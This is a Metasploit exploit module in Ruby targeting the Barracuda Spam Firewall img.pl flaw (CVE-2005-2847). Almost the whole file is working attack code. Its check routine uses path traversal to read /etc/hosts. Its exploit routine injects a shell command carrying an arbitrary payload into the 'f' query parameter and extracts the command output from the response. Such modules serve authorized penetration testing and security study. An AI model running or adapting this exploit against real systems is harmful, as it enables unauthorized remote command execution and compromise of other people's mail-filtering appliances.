metasploit-framework/modules/exploits/unix/webapp/barracuda_img_exec.rb

105 lines
2.5 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda IMG.PL Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.
},
'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-2847'],
['OSVDB', '19279'],
['BID', '14712'],
['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19556'],
['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Sep 01 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
], self.class)
end
def check
res = send_request_cgi({
'uri' => datastore['URI'],
'vars_get' =>
{
'f' => ("../" * 8) + "etc/hosts"
}
}, 25)
if (res and res.body.match(/localhost/))
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
res = send_request_cgi({
'uri' => datastore['URI'],
'vars_get' =>
{
'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
}
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
print("")
m = res.body.match(/YYY(.*)YYY/)
if (m)
print_status("Command output from the server:")
print(m[1])
else
print_status("This server may not be vulnerable")
end
else
print_status("No response from the server")
end
end
end